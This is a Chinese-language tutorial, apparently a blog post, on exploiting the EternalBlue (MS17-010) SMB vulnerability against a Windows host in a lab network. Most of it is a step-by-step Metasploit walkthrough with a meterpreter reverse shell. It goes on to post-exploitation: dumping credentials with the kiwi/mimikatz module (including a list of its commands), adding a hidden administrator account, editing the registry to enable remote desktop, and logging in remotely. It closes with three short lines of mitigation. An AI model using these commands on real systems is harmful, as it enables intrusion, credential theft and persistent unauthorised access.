永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。漏洞原理的深入研究,请参考:(https://blog.csdn.net/luoshenwei3533/article/details/82931999)
攻击ip:192.168.200.130 被攻击ip:192.168.200.101 开启了445端口(默认是开启的),未打漏洞补丁,关闭防火墙 二者能够相互ping通
msfconsole
search ms17_010 查找相应的漏洞模块 use exploit/windows/smb/ms17_010_psexec 加载模块 set RHOSTS 192.168.200.101 设置攻击目标 check 进行检测,确认是否存在ms17_010漏洞 set payload windows/meterpreter/reverse_tcp 加载payload set LHOST 192.168.200.130 设置本地IP show options 查看模块相关参数 run 攻击
(1)查找相应的漏洞模块
(2)加载模块并设置目标
我们这里使用第1个,即”exploit/windows/smb/ms17_010_psexec“模块,并设置RHOSTS为被攻击IP
使用check命令检测一下是否存在ms17_010漏洞。检测时,会自动加载auxiliary/scanner/smb/smb_ms17_010模块,可以看到,被攻击目标是存在这个漏洞的。
(3)加载payload
这里使用windows/meterpreter/reverse_tcp作为攻击payload。
攻击前,再用show options命令检查一下设置是否正确。
(4)攻击
(1) 查看系统信息 sysinfo
(2) 查看当前用户的权限 getuid
(3))获取目标系统权限 shell
(4)获取目标主机用户以及密码,需要使用system权限,如果是在administrator下,直接使用 getsystem 即可
load kiwi 加载kiwi模块 help kiwi 查看kiwi模块帮助
creds_all 查看用户,密码,密码对应hash值等
kiwi具体命令
load kiwi creds_all:列举所有凭据 creds_kerberos:列举所有kerberos凭据 creds_msv:列举所有msv凭据 creds_ssp:列举所有ssp凭据 creds_tspkg:列举所有tspkg凭据 creds_wdigest:列举所有wdigest凭据 dcsync:通过DCSync检索用户帐户信息 dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 kerberos_ticket_list:列举kerberos票据 kerberos_ticket_purge:清除kerberos票据 kerberos_ticket_use:使用kerberos票据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文 password_change:修改密码 wifi_list:列出当前用户的wifi配置文件 wifi_list_shared:列出共享wifi配置文件/编码
(5)开启目标远程
开启目标远程,并创建一个test帐户
>>方法一
meterpreter > run post/windows/manage/enable_rdp username="test" password="123456"
验证
>>方法二
shell net user lfn 123456 /add 创建用户 net localgroup administrators lfn /add 添加管理员权限
>>ps如果目标机器没有开启远程桌面服务,使用注册表进行打开
C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
使用刚才创建的用户和密码进行远程,进行远程控制。
rdesktop 192.168.200.101 -u test -p 123456
关闭445等高危端口
配置防火墙,安装防护软件
安装补丁